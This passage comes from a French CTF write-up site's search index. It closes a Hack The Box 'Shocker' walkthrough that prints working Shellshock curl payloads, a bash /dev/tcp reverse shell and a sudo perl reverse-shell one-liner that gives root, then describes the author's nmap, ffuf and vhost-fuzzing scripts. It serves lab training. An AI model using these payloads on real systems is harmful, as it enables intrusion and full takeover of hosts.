(Host=rovm8c9i6k.shocker.htb) VHOST (0) - (fuzzing sauté : wildcard probable) - (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant) === mon-subdomains shocker.htb END === mon-subdomains n\u0026rsquo;a révélé aucun vhost exploitable, ce qui confirme que l\u0026rsquo;analyse doit se concentrer sur le port 80 et ses endpoints. Prise pied Analyse de l’image Le site web exposé par la machine est extrêmement minimaliste : il se limite à une seule page affichant une image, bug.jpg, sans lien, formulaire ni fonctionnalité apparente. Face à une surface d’attaque aussi réduite, il est naturel de se demander si cette image ne dissimule pas une information utile à la progression. Tu commences donc par la télécharger et l’analyser à l’aide des outils et méthodes décrits dans la recette « Outils de stéganographie (CTF) » , afin de vérifier la présence éventuelle d’un fichier embarqué, de métadonnées exploitables ou d’un indice caché. Après avoir appliqué plusieurs techniques, en commençant notamment par stegseek, aucun élément pertinent n’est mis en évidence. Cette étape permet ainsi de confirmer que l’image ne constitue pas un vecteur d’exploitation dans ce challenge. Scan du /cgi-bin/ La découverte du répertoire /cgi-bin/ constitue un indice particulièrement intéressant. Dans une configuration Apache classique, ce dossier est utilisé pour héberger des scripts CGI exécutés directement par le serveur web. Historiquement, ce type de mécanisme a souvent été associé à des vulnérabilités importantes, notamment Shellshock, qui permet d’exécuter des commandes système lorsque des scripts Bash sont exposés via CGI. Il faut toutefois garder à l’esprit que ce type de vulnérabilité n’est pas toujours détecté automatiquement lors d’un scan agressif. Les outils de scan testent généralement une liste limitée de scripts CGI standards. Si le script réellement présent sur la cible ne fait pas partie de cette liste, la vulnérabilité peut passer inaperçue. Lorsqu’un répertoire /cgi-bin/ est identifié, il devient donc pertinent de réaliser une énumération spécifique de ce dossier afin de découvrir les scripts réellement présents sur la machine. Tu lances alors un scan ciblé du répertoire /cgi-bin/ pour identifier d’éventuels scripts exécutables : mon-recoweb shocker.htb/cgi-bin/ --ext \u0026#34;.sh,.cgi,.pl\u0026#34; ===== mon-recoweb-dev — RÉSUMÉ DES RÉSULTATS ===== Commande principale : /home/kali/.local/bin/mes-scripts/dev/mon-recoweb-dev Script : mon-recoweb-dev v2.1.0 Cible : shocker.htb Périmètre : /cgi-bin/ Date début : 2026-01-10 11:26:26 Commandes exécutées (exactes) : [dirb — découverte initiale] dirb http://shocker.htb/cgi-bin/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/cgi-bin/dirb.log [ffuf — énumération des répertoires] ffuf -u http://shocker.htb/cgi-bin/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/cgi-bin/ffuf_dirs.json 2\u0026gt;\u0026amp;1 | tee scans_recoweb/cgi-bin/ffuf_dirs.log [ffuf — énumération des fichiers] ffuf -u http://shocker.htb/cgi-bin/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 30 -timeout 10 -fc 404 -e .sh\\,.cgi\\,.pl -of json -o scans_recoweb/cgi-bin/ffuf_files.json 2\u0026gt;\u0026amp;1 | tee scans_recoweb/cgi-bin/ffuf_files.log Processus de génération des résultats : - Les sorties JSON produites par ffuf constituent la source de vérité. - Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse). - Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP. - Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé). - Les résultats sont normalisés sous la forme : http://cible/chemin (CODE:xxx|SIZE:yyy) - Les chemins sont ensuite classés par type : • répertoires (/chemin/) • fichiers (/chemin.ext) - Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel, garantissant la reproductibilité complète du scan. ---------------------------------------------------- === Résultat global (agrégé) === http://shocker.htb/cgi-bin/ (CODE:403|SIZE:294) http://shocker.htb/cgi-bin/.htaccess.cgi (CODE:403|SIZE:307) http://shocker.htb/cgi-bin/.htaccess (CODE:403|SIZE:303) http://shocker.htb/cgi-bin/.htaccess.pl (CODE:403|SIZE:306) http://shocker.htb/cgi-bin/.htaccess.sh (CODE:403|SIZE:306) http://shocker.htb/cgi-bin/.hta.cgi (CODE:403|SIZE:302) http://shocker.htb/cgi-bin/.hta (CODE:403|SIZE:298) http://shocker.htb/cgi-bin/.hta.pl (CODE:403|SIZE:301) http://shocker.htb/cgi-bin/.hta.sh (CODE:403|SIZE:301) http://shocker.htb/cgi-bin/.htpasswd.cgi (CODE:403|SIZE:307) http://shocker.htb/cgi-bin/.htpasswd (CODE:403|SIZE:303) http://shocker.htb/cgi-bin/.htpasswd.pl (CODE:403|SIZE:306) http://shocker.htb/cgi-bin/.htpasswd.sh (CODE:403|SIZE:306) http://shocker.htb/cgi-bin/user.sh (CODE:200|SIZE:126) === Détails par outil === [DIRB] [FFUF — DIRECTORIES] [FFUF — FILES] http://shocker.htb/cgi-bin/ (CODE:403|SIZE:294) http://shocker.htb/cgi-bin/.htaccess.cgi (CODE:403|SIZE:307) http://shocker.htb/cgi-bin/.htaccess (CODE:403|SIZE:303) http://shocker.htb/cgi-bin/.htaccess.pl (CODE:403|SIZE:306) http://shocker.htb/cgi-bin/.htaccess.sh (CODE:403|SIZE:306) http://shocker.htb/cgi-bin/.hta.cgi (CODE:403|SIZE:302) http://shocker.htb/cgi-bin/.hta (CODE:403|SIZE:298) http://shocker.htb/cgi-bin/.hta.pl (CODE:403|SIZE:301) http://shocker.htb/cgi-bin/.hta.sh (CODE:403|SIZE:301) http://shocker.htb/cgi-bin/.htpasswd.cgi (CODE:403|SIZE:307) http://shocker.htb/cgi-bin/.htpasswd (CODE:403|SIZE:303) http://shocker.htb/cgi-bin/.htpasswd.pl (CODE:403|SIZE:306) http://shocker.htb/cgi-bin/.htpasswd.sh (CODE:403|SIZE:306) http://shocker.htb/cgi-bin/user.sh (CODE:200|SIZE:126) La présence du script user.sh dans le répertoire /cgi-bin/ constitue un indice particulièrement intéressant. Il s’agit d’un script Bash potentiellement exécuté via CGI, un contexte historiquement associé à la vulnérabilité Shellshock. Vérification de Shellshock Tu commences par injecter, dans l’en-tête User-Agent, une définition de fonction suivie d’une commande simple (echo VULNERABLE). L’objectif est de vérifier si le script CGI interprète cet en-tête comme du code Bash, conformément au mécanisme d’exploitation de la vulnérabilité Shellshock. Ce test volontairement simple permet de confirmer rapidement si la commande injectée est exécutée par le serveur. Si le serveur exécute la commande et renvoie la chaîne attendue dans la réponse HTTP, cela confirme que le script CGI interprète l’en-tête comme du code Bash et qu’il est donc vulnérable à Shellshock. Lance la commande : curl -H \u0026#39;User-Agent: () { :; }; echo; echo VULNERABLE\u0026#39; http://shocker.htb/cgi-bin/user.sh et tu obtiens : VULNERABLE Content-Type: text/plain Just an uptime test script 05:37:23 up 19:59, 0 users, load average: 0.00, 0.00, 0.00 La présence de la chaîne VULNERABLE dans la réponse confirme que la commande injectée est bien exécutée sur la machine cible. Pour confirmer l’exploitation et identifier le contexte d’exécution du script, tu remplaces ensuite la commande précédente par /usr/bin/id. Cette commande permet de déterminer quel utilisateur exécute le script CGI, information essentielle pour comprendre les privilèges dont tu disposes sur la machine. Lance la commande : curl -H \u0026#39;User-Agent: () { :; }; echo; /usr/bin/id\u0026#39; http://shocker.htb/cgi-bin/user.sh et la réponse est : uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Cela indique que le script CGI est exécuté avec les privilèges de l’utilisateur shelly, ce qui signifie que toute commande injectée via Shellshock s’exécutera dans ce contexte. Note : Pour approfondir le fonctionnement interne de la vulnérabilité Shellshock, tu peux consulter cette ressource technique : https://metalkey.github.io/shellshock-explained--exploitation-tutorial.html Exploitation de Shellshock La vulnérabilité étant désormais confirmée, tu peux exploiter Shellshock pour obtenir un accès distant sur la machine cible. Le principe consiste à injecter un payload Bash de reverse shell dans l’en-tête User-Agent. Le script CGI vulnérable exécute alors cette commande et ouvre une connexion vers ta machine Kali. Préparation du listener dans Kali Avant d’envoyer le payload, tu démarres un listener Netcat sur ta machine Kali pour recevoir la connexion entrante : nc -lvnp 4444 Le terminal reste alors en attente d’une connexion. Envoi du reverse shell via Shellshock Dans un autre terminal, tu envoies la requête HTTP contenant le payload : curl -H \u0026#39;User-Agent: () { :; }; /bin/bash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.x.x/4444 0\u0026gt;\u0026amp;1\u0026#34;\u0026#39; http://shocker.htb/cgi-bin/user.sh Ce payload est exécuté via Shellshock par le script CGI et initie immédiatement une connexion vers ton listener Netcat. Note : Pour générer rapidement un payload de reverse shell adapté à ton contexte, tu peux utiliser : https://www.revshells.com/ Réception du shell Dans la fenêtre où Netcat est en écoute, la connexion entrante apparaît : Listening on 0.0.0.0 4444 Connection received on 10.129.x.x 58744 bash: no job control in this shell shelly@Shocker:/usr/lib/cgi-bin$ Tu disposes maintenant d’un premier accès shell sur la machine cible et peux commencer à explorer le système. En explorant le système de fichiers, tu identifies rapidement le répertoire personnel de l’utilisateur shelly. shelly@Shocker:/usr/lib/cgi-bin$ ls -la /home total 12 drwxr-xr-x 3 root root 4096 Sep 21 2022 . drwxr-xr-x 23 root root 4096 Sep 21 2022 .. drwxr-xr-x 4 shelly shelly 4096 Sep 21 2022 shelly Tu te rends alors dans le répertoire personnel : cd ~ shelly@Shocker:/home/shelly$ ls -la et tu identifies rapidement le fichier user.txt. user.txt shelly@Shocker:/home/shelly$ cat user.txt caf00xxxxxxxxxxxxxxxxxxxxxxxxxxxe4a7 La récupération du fichier user.txt confirme que la prise de pied sur la machine est réussie. Escalade de privilèges Une fois connecté en SSH en tant que shelly, tu disposes d’un premier accès utilisateur sur la machine. L’escalade de privilèges consiste à identifier une commande, un script ou un service exécuté par root que l’utilisateur courant peut influencer pour obtenir une session root. Comme dans tous mes writeups, et conformément à la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » , l’escalade de privilèges commence par une phase d’énumération méthodique : vérification des droits sudo avec sudo -l afin d’identifier des commandes exécutables avec les privilèges root recherche de binaires SUID avec find / -perm -4000 2\u0026gt;/dev/null (les binaires SUID s’exécutent avec les privilèges de leur propriétaire, souvent root) analyse des Linux capabilities avec getcap -r / 2\u0026gt;/dev/null python3 suid3num.py afin d’identifier des binaires disposant de privilèges élevés, puis vérification de leur exploitabilité sur GTFOBins inspection des tâches cron avec cat /etc/crontab afin de repérer d’éventuels scripts ou commandes exécutés automatiquement par root analyse des services locaux avec netstat -tulpn pour identifier d’éventuels services internes accessibles uniquement en local observation des processus exécutés par root avec pspy64 (dans une deuxième session SSH) afin de détecter des scripts ou tâches planifiées lancés automatiquement L’objectif de cette approche n’est pas de tester des exploits au hasard, mais d’identifier une faiblesse logique ou une mauvaise configuration exploitable pour progresser vers root. Si ces vérifications manuelles ne révèlent rien d’exploitable, tu peux alors passer à une énumération automatisée avec linpeas.sh. Cet outil effectue une analyse beaucoup plus exhaustive du système. Il est plus complet, mais aussi plus lourd, et produit souvent beaucoup d’informations qu’il faudra ensuite trier et analyser. Sudo -l Tu commences toujours par vérifier les droits sudo : shelly@Shocker:/home/shelly$ sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl shelly@Shocker:/home/shelly$ Exploitation de Perl via sudo Puisque l’utilisateur shelly est autorisé à exécuter perl avec les privilèges root via sudo, toute commande lancée avec sudo perl sera exécutée avec les privilèges root. Tu utilises ensuite un payload de reverse shell Perl, par exemple généré avec revshells.com, que tu exécutes avec sudo perl. La commande est alors lancée avec les privilèges root, ce qui permet d’ouvrir une connexion reverse shell vers ta machine Kali. Root Shell dans Kali Lance le listener dans une fenêtre Kali : nc -lvnp 12345 et ensuite la commande perl dans une autre fenêtre de Kali : sudo perl -e \u0026#39;use Socket;$i=\u0026#34;10.10.x.x\u0026#34;;$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\u0026#34;tcp\u0026#34;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\u0026#34;\u0026gt;\u0026amp;S\u0026#34;);open(STDOUT,\u0026#34;\u0026gt;\u0026amp;S\u0026#34;);open(STDERR,\u0026#34;\u0026gt;\u0026amp;S\u0026#34;);exec(\u0026#34;bash -i\u0026#34;);};\u0026#39; et tu verras la connexion arriver : Listening on 0.0.0.0 12345 Connection received on 10.129.x.x 34840 root@Shocker:/home/shelly# Tu obtiens alors un shell bash avec les privilèges root, que tu peux éventuellement stabiliser à l’aide de la recette « Stabiliser un Reverse Shell Bash » afin de travailler dans un environnement plus confortable. root.txt Une fois le shell root obtenu, il ne reste plus qu’à lire le fichier root.txt. root@Shocker:/home/shelly# cat /root/root.txt cat /root/root.txt be89xxxxxxxxxxxxxxxxxxxxxxxxxx9bef Conclusion Cette machine illustre parfaitement l’importance d’une énumération structurée et d’une lecture attentive des indices, même lorsque la surface d’attaque semble, au premier abord, très limitée. À partir d’une interface web minimaliste, la découverte du répertoire /cgi-bin/ oriente rapidement l’analyse vers une piste classique mais toujours pertinente : les scripts CGI potentiellement vulnérables à Shellshock. En validant progressivement l’hypothèse — test de la faille, exécution de commandes simples, puis obtention d’un reverse shell — tu obtiens un premier accès au système avant de conclure par une élévation de privilèges via sudo et Perl. Un excellent challenge Easy pour découvrir Shellshock et comprendre l’importance d’une énumération méthodique dans un CTF. i Feedback \u0026amp; corrections Tu as repéré une erreur, une imprécision ou une amélioration possible ? N’hésite pas à me le signaler. ","date":"2025-11-21T15:40:23+01:00","lastmod":"2026-03-12T18:28:22+01:00","permalink":"https://writeups.hackethical.be/writeups/shocker/","summary":"CGI vulnérable, exploitation de Shellshock et escalade de privilèges jusqu’au root via sudo Perl.","tags":["HTB Easy","Shellshock","Perl"],"title":"Shocker — HTB Easy Writeup \u0026 Walkthrough"},{"categories":["Mes scripts"],"content":"Construit et installe une wordlist orientée HTB (vhost/subdomains) à partir de SecLists (+ seed FAST), normalisée et limitée à 5000 entrées. Présentation make-htb-wordlist — Master DNS/VHOST orientée HTB (5000 entrées) Ce script assemble une wordlist « maison » optimisée pour les CTF HTB afin d’alimenter le vhost-fuzzing (ex. avec mon-subdomains). Il combine plusieurs sources SecLists et une petite liste « FAST » prioritaire, applique des règles de normalisation strictes, déduplique/ordonne, puis tronque proprement à 5000 lignes. Sources et pipeline : SecLists : DNS top1million-5000 + Web-Content raft-small (+ raft-medium si non désactivé) ; seed « FAST » (admin, dev, api, staging, …) placée en tête pour prioriser les hits ; normalisation : minuscules, charset [a-z0-9-], pas de « \u0026ndash; », ni tiret en début/fin, longueur 3..24 (paramétrable), optionnelle autorisation de début par chiffre ; déduplication ordonnée, puis coupe à 5000 entrées max. Sortie et installation : chemin par défaut : /usr/share/wordlists/htb-dns-vh-5000.txt (droits 644) ; tentative d’installation de SecLists via apt (désactivable avec \u0026ndash;no-install) ; affichage d’un aperçu (Top 10) pour vérification rapide. Options utiles : \u0026ndash;out FILE : fichier de sortie personnalisé ; \u0026ndash;no-install : n’installe pas SecLists automatiquement ; \u0026ndash;no-medium : exclut raft-medium pour une liste plus compacte ; \u0026ndash;minlen / \u0026ndash;maxlen : borne la longueur des tokens ; \u0026ndash;allow-digit-start : autorise un début par chiffre. Exemples : ./make-htb-wordlist ./make-htb-wordlist \u0026ndash;no-medium \u0026ndash;out /tmp/htb-5000.txt ./make-htb-wordlist \u0026ndash;minlen 2 \u0026ndash;maxlen 20 \u0026ndash;allow-digit-start Usage recommandé : générer/mettre à jour la master une fois sur la machine de lab ; l’utiliser ensuite dans mon-subdomains (modes fast/medium/large via head) ; conserver le fichier versionné/packagé si besoin pour reproductibilité. Usage Usage: make-htb-wordlist [--out FILE] [--no-install] [--no-medium] [--minlen N] [--maxlen N] [--allow-digit-start] [-V|--version] [-h|--help] Par défaut : --out /usr/share/wordlists/htb-dns-vh-5000.txt Options: --out FILE Chemin de sortie (défaut: /usr/share/wordlists/htb-dns-vh-5000.txt) --no-install Ne pas tenter d\u0026#39;installer seclists automatiquement --no-medium Ne pas inclure raft-medium-words.txt --minlen N Longueur minimale (défaut: 3) --maxlen N Longueur maximale (défaut: 24) --allow-digit-start Autoriser un début par chiffre -V, --version Afficher la version et quitter -h, --help Afficher cette aide et quitter Téléchargements La version courante du script make-htb-wordlist est 1.0.1 Télécharger la version courante SHA256 ","date":"0001-01-01T00:00:00Z","lastmod":"2026-02-27T09:10:16Z","permalink":"https://writeups.hackethical.be/mes-scripts/make-htb-wordlist/","summary":"Construit et installe une wordlist orientée HTB (vhost/subdomains) à partir de SecLists (+ seed FAST), normalisée et limitée à 5000 entrées.\nPrésentation make-htb-wordlist — Master DNS/VHOST orientée HTB (5000 entrées)\nCe script assemble une wordlist « maison » optimisée pour les CTF HTB afin d’alimenter le vhost-fuzzing (ex. avec mon-subdomains). Il combine plusieurs sources SecLists et une petite liste « FAST » prioritaire, applique des règles de normalisation strictes, déduplique/ordonne, puis tronque proprement à 5000 lignes.\n","tags":["scripts","tools"],"title":"Make Htb Wordlist"},{"categories":["Mes scripts"],"content":"Automatise une série de scans Nmap (TCP complet, agressif, CMS, UDP, FTP/SMB) pour une cible CTF donnée. Présentation mon-nmap — Scan Nmap “tout-en-un” pour CTF / HTB Objectif Obtenir rapidement une base d’énumération solide (ports/services + pistes “legacy” + indices CMS), en générant des fichiers de résultats prêts à relire, dans un dossier unique. Ce que fait le script (ordre réel d’exécution) 0) Pré-check canonique HTB (validation IP sans ICMP, via TCP 80/443/22) Scan TCP complet (1–65535) avec extraction des ports “open” Enumération ciblée FTP / SMB (si services détectés) FTP : ftp-anon, ftp-syst SMB : smb-os-discovery, smb-enum-shares, smb-enum-users Le fichier de sortie est toujours créé, même si l’énumération est ignorée Scan agressif sur les ports ouverts (détection services + scripts vulnérabilités “legacy”) Scan orienté CMS sur les mêmes ports (WordPress/Drupal/Joomla + scripts HTTP utiles) Scan UDP (top 20 ports) Sortie Les résultats sont stockés dans le répertoire : scans_nmap/ - full_tcp_scan.txt - enum_ftp_smb_scan.txt - aggressive_vuln_scan.txt - cms_vuln_scan.txt - udp_vuln_scan.txt Options -h, \u0026ndash;help Affiche l’aide -V, \u0026ndash;version Affiche la version \u0026ndash;debug Active le mode debug (set -x) Dépendances nmap nc (netcat-openbsd ou équivalent) Remarques Le pré-check peut demander confirmation si aucune réponse TCP immédiate n’est détectée (cas typique : IP HTB changée / /etc/hosts obsolète / ports filtrés). L’énumération FTP / SMB est volontairement ciblée et non exhaustive. Le scan agressif est écrit avec un en-tête rappelant la commande Nmap utilisée. Usage mon-nmap v2.1.0 Usage: mon-nmap [OPTIONS] \u0026lt;IP_OU_DOMAINE\u0026gt; Lance une série de scans Nmap sur une cible (IP ou domaine) et enregistre les résultats dans le répertoire scans_nmap/ : 1) Scan complet des ports TCP 2) Enumération ciblée FTP / SMB (si services détectés) 3) Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) 4) Scan orienté CMS (WordPress, Drupal, Joomla...) 5) Scan UDP (top 20 ports) Fichiers produits : scans_nmap/full_tcp_scan.txt scans_nmap/enum_ftp_smb_scan.txt scans_nmap/aggressive_vuln_scan.txt scans_nmap/cms_vuln_scan.txt scans_nmap/udp_vuln_scan.txt Options: -h, --help Affiche cette aide -V, --version Affiche la version --debug Active le mode debug (set -x, verbosité bash) Exemple: mon-nmap 10.10.x.x mon-nmap target.htb Téléchargements La version courante du script mon-nmap est v2.1.0 Télécharger la version courante SHA256 ","date":"0001-01-01T00:00:00Z","lastmod":"2026-03-16T16:03:46+01:00","permalink":"https://writeups.hackethical.be/mes-scripts/mon-nmap/","summary":"Automatise une série de scans Nmap (TCP complet, agressif, CMS, UDP, FTP/SMB) pour une cible CTF donnée.\nPrésentation mon-nmap — Scan Nmap “tout-en-un” pour CTF / HTB\nObjectif Obtenir rapidement une base d’énumération solide (ports/services + pistes “legacy” + indices CMS), en générant des fichiers de résultats prêts à relire, dans un dossier unique.\nCe que fait le script (ordre réel d’exécution) 0) Pré-check canonique HTB (validation IP sans ICMP, via TCP 80/443/22)\n","tags":["scripts","tools"],"title":"Mon Nmap"},{"categories":["Mes scripts"],"content":"Reconnaissance web automatisée en 3 phases (dirb + ffuf directories + ffuf files) avec exports JSON ffuf fiables, détection soft-404 et résumé global agrégé. Supporte aussi // (scan Présentation mon-recoweb — Recon web en 3 phases (dirb + ffuf dirs + ffuf files) Objectif : Obtenir une cartographie exploitable des répertoires et fichiers HTTP d’une cible CTF. Validation de l’accessibilité de la cible (sans ICMP) : Si la cible est une URL complète : test HTTP(S) HEAD via curl Si la cible est un host : test HTTP(S) sur la base URL via curl Fallback TCP via nc sur les ports 80 et 443 Phases d’énumération : dirb (wordlist courte) → cartographie initiale + extraction des hits ffuf directories (raft-medium-directories) ffuf files (raft-medium-files) + option \u0026ndash;ext Scan ciblé d’un répertoire : La cible peut inclure un chemin : // (ex: cible.htb/cgi-bin/) Le script ne scanne alors QUE ce répertoire (BASE=/path) Les sorties sont écrites dans scans_recoweb/// (ex: scans_recoweb/cible.htb/cgi-bin/) Organisation des sorties par vhost : Si la cible est un host (non-IP), les sorties sont placées dans : scans_recoweb// (utile quand tu scannes plusieurs subdomains/vhosts sur la même machine) Wordlist \u0026ldquo;files\u0026rdquo; par défaut en scan de répertoire : Si BASE != \u0026ldquo;/\u0026rdquo; ET que l’utilisateur n’a pas fourni \u0026ndash;raft-files, alors la phase ffuf files utilise par défaut : /usr/share/wordlists/dirb/common.txt (utile pour les répertoires contenant des scripts / endpoints legacy). Gestion des soft-404 : Détection automatique d’un HTTP 200 sur ressource inexistante Calcul de la taille de réponse et application de -fs à ffuf Sorties (dans \u0026ndash;outdir, défaut : scans_recoweb) : dirb.log + dirb_hits.txt ffuf_dirs.json + ffuf_dirs.log ffuf_files.json + ffuf_files.log ffuf_dirs.txt / ffuf_dirs_hits.txt (si jq est disponible) ffuf_files.txt / ffuf_files_hits.txt (si jq est disponible) RESULTS_SUMMARY.txt : résumé global (URLs complètes + CODE/SIZE quand possible) Alertes (si jq est disponible) : ffuf directories = 0 résultat ffuf files = 0 résultat dirb a trouvé des fichiers mais ffuf files = 0 (wildcard, soft-404 variable, filtres trop stricts) Usage typique : Scan de base : ${_self_base} cible.htb Scan ciblé répertoire + extensions : ${_self_base} cible.htb/chemin/ \u0026ndash;ext \u0026ldquo;.sh,.cgi,.pl\u0026rdquo; Usage mon-recoweb v2.2.2 Usage: mon-recoweb [OPTIONS] \u0026lt;target\u0026gt; mon-recoweb [OPTIONS] -t \u0026lt;target\u0026gt; Description: Recon web KISS en 3 phases (dirb + ffuf dirs + ffuf files), avec exports JSON fiables et résumé global. Target: \u0026lt;target\u0026gt; Host (ex: dog.htb) OU URL complète (ex: http://10.10.10.10) Supporte aussi host/path (ex: cible.htb/cgi-bin/) -t, --target \u0026lt;target\u0026gt; (Optionnel) même chose, pour compatibilité Options: -s, --scheme \u0026lt;http|https\u0026gt; Scheme si target est un host (défaut: http) --base \u0026lt;path\u0026gt; Base path prefix (défaut: /) ex: /app =\u0026gt; http://t/app/FUZZ --ext \u0026lt;list\u0026gt; Extensions pour ffuf files (ex: \u0026#34;.sh,.cgi,.pl\u0026#34; ou \u0026#34;sh,cgi,pl\u0026#34;) -T, --threads \u0026lt;n\u0026gt; Threads ffuf (défaut: 30) --rate \u0026lt;n\u0026gt; Limite le débit ffuf (req/s). Ex: 40, 100, 200 (défaut: none) --timeout \u0026lt;sec\u0026gt; Timeout ffuf en secondes (défaut: 10) --fc \u0026lt;codes\u0026gt; Filtre codes status ffuf (défaut: 404) --fs \u0026lt;size\u0026gt; Filtre size ffuf explicite (ex: 1234). Prioritaire sur l\u0026#39;auto-détection soft-404 --ffuf-extra \u0026lt;opts\u0026gt; Options supplémentaires passées telles quelles à ffuf (dirs ET files) Ex: --ffuf-extra \u0026#34;-fs 612\u0026#34; ou --ffuf-extra \u0026#34;-fs 612 -fw 10\u0026#34; --dirb-wordlist \u0026lt;path\u0026gt; Wordlist dirb (défaut: /usr/share/wordlists/dirb/common.txt) --raft-dirs \u0026lt;path\u0026gt; Wordlist ffuf dirs (défaut: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt) --raft-files \u0026lt;path\u0026gt; Wordlist ffuf files (défaut: /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt) Note: en scan ciblé de répertoire (BASE != /) et si --raft-files n\u0026#39;est pas fourni, la wordlist par défaut bascule automatiquement vers /usr/share/wordlists/dirb/common.txt -o, --outdir \u0026lt;dir\u0026gt; Dossier de sortie (défaut: scans_recoweb) --no-dirb Skip dirb --no-ffuf-dirs Skip ffuf directories --no-ffuf-files Skip ffuf files --debug Debug (set -x) -h, --help Téléchargements La version courante du script mon-recoweb est v2.2.2 Télécharger la version courante SHA256 ","date":"0001-01-01T00:00:00Z","lastmod":"2026-03-23T08:43:05Z","permalink":"https://writeups.hackethical.be/mes-scripts/mon-recoweb/","summary":"Reconnaissance web automatisée en 3 phases (dirb + ffuf directories + ffuf files) avec exports JSON ffuf fiables, détection soft-404 et résumé global agrégé. Supporte aussi // (scan\nPrésentation mon-recoweb — Recon web en 3 phases (dirb + ffuf dirs + ffuf files)\nObjectif :\nObtenir une cartographie exploitable des répertoires et fichiers HTTP d’une cible CTF. Validation de l’accessibilité de la cible (sans ICMP) :\nSi la cible est une URL complète : test HTTP(S) HEAD via curl Si la cible est un host : test HTTP(S) sur la base URL via curl Fallback TCP via nc sur les ports 80 et 443 Phases d’énumération :\n","tags":["scripts","tools"],"title":"Mon Recoweb"},{"categories":["Mes scripts"],"content":"Découverte de vhosts/sous-domaines par vhost-fuzzing (ffuf) avec baselines robustes, détection anti-wildcard contrôlée, gestion des redirects 3xx (curl -L + ffuf -r), parsing fiable via JSON (jq), Présentation mon-subdomains — Découverte de vhosts pour CTF / pentest Ce script automatise la recherche de vhosts (Host: FUZZ.domaine) en interrogeant l\u0026rsquo;IP cible et en extrayant les hôtes valides (ex. api.domaine.htb, admin.domaine.htb). Fonctionnement (résumé fidèle au code) : Résout l\u0026rsquo;IP de la cible (getent, puis fallback dig). Pré-check canonique HTB : validation TCP rapide sur 80/443 (sans ICMP). Scan Nmap interne (-Pn -sV -p-) pour détecter les ports HTTP/HTTPS exposés. Pour chaque port web : Calcule 3 baselines (code/size/words) avec un Host aléatoire. Si baseline 3xx stable : baselines après redirection (curl -L) + fuzzing avec ffuf -r. Si wildcard probable : fuzzing sauté pour éviter les faux positifs. Sinon : ffuf avec filtres -fs/-fw (et -ac si baseline instable), sortie JSON puis parsing jq. Agrège les vhosts uniques et écrit un bloc remplacé à chaque run dans : scans_subdomains/scan_vhosts.txt Wordlists : Master par défaut : /usr/share/wordlists/htb-dns-vh-5000.txt Modes : fast (1000), medium (2000), large (5000) \u0026ndash;custom FILE : utilise une wordlist personnalisée. Si la master est absente : installe/régénère via ton script make-htb-wordlist. Options utiles : \u0026ndash;save-hosts / \u0026ndash;dry-run-hosts : ajout contrôlé des vhosts trouvés dans /etc/hosts. \u0026ndash;debug : affiche la commande ffuf et conserve les fichiers temporaires /tmp. Usage Usage: mon-subdomains \u0026lt;domaine.htb\u0026gt; [mode] [options] Modes : -f, --fast 1000 premières lignes de la master -m, --medium 2000 premières lignes -l, --large 5000 (entière) --custom FILE Wordlist personnalisée (ignore la master) Options : --master FILE Chemin de la master 5000 (défaut: /usr/share/wordlists/htb-dns-vh-5000.txt) -t N Threads ffuf (défaut: 50) --timeout S Timeout curl (défaut: 8) --strict Codes restreints utiles (équiv. à --codes 200,401,403) --codes LIST Liste pour ffuf -mc (ex: \u0026#34;200,401,403\u0026#34;; prend le dessus sur --strict) --save-hosts Ajoute les vhosts trouvés dans /etc/hosts (backup, sans doublon) --dry-run-hosts Simule l’ajout dans /etc/hosts (n’écrit rien) --debug Affiche la commande ffuf et garde la sortie brute (fichiers /tmp) -V, --version Afficher la version et quitter -h, --help Aide Téléchargements La version courante du script mon-subdomains est 2.0.0 Télécharger la version courante SHA256 ","date":"0001-01-01T00:00:00Z","lastmod":"2026-02-27T09:10:17Z","permalink":"https://writeups.hackethical.be/mes-scripts/mon-subdomains/","summary":"Découverte de vhosts/sous-domaines par vhost-fuzzing (ffuf) avec baselines robustes, détection anti-wildcard contrôlée, gestion des redirects 3xx (curl -L + ffuf -r), parsing fiable via JSON (jq),\nPrésentation mon-subdomains — Découverte de vhosts pour CTF / pentest\nCe script automatise la recherche de vhosts (Host: FUZZ.domaine) en interrogeant l\u0026rsquo;IP cible et en extrayant les hôtes valides (ex. api.domaine.htb, admin.domaine.htb).\nFonctionnement (résumé fidèle au code) :\nRésout l\u0026rsquo;IP de la cible (getent, puis fallback dig). Pré-check canonique HTB : validation TCP rapide sur 80/443 (sans ICMP). Scan Nmap interne (-Pn -sV -p-) pour détecter les ports HTTP/HTTPS exposés. Pour chaque port web : Calcule 3 baselines (code/size/words) avec un Host aléatoire. Si baseline 3xx stable : baselines après redirection (curl -L) + fuzzing avec ffuf -r. Si wildcard probable : fuzzing sauté pour éviter les faux positifs. Sinon : ffuf avec filtres -fs/-fw (et -ac si baseline instable), sortie JSON puis parsing jq. Agrège les vhosts uniques et écrit un bloc remplacé à chaque run dans : scans_subdomains/scan_vhosts.txt Wordlists :\n","tags":["scripts","tools"],"title":"Mon Subdomains"},{"categories":null,"content":"","date":"0001-01-01T00:00:00Z","lastmod":"2026-01-03T11:26:22+01:00","permalink":"https://writeups.hackethical.be/search/","summary":"","tags":null,"title":"Recherche"},{"categories":["Mes recettes"],"content":"Variante avec Python (pty.spawn) Objectifs Cette méthode permet de transformer un reverse shell basique en un shell interactif 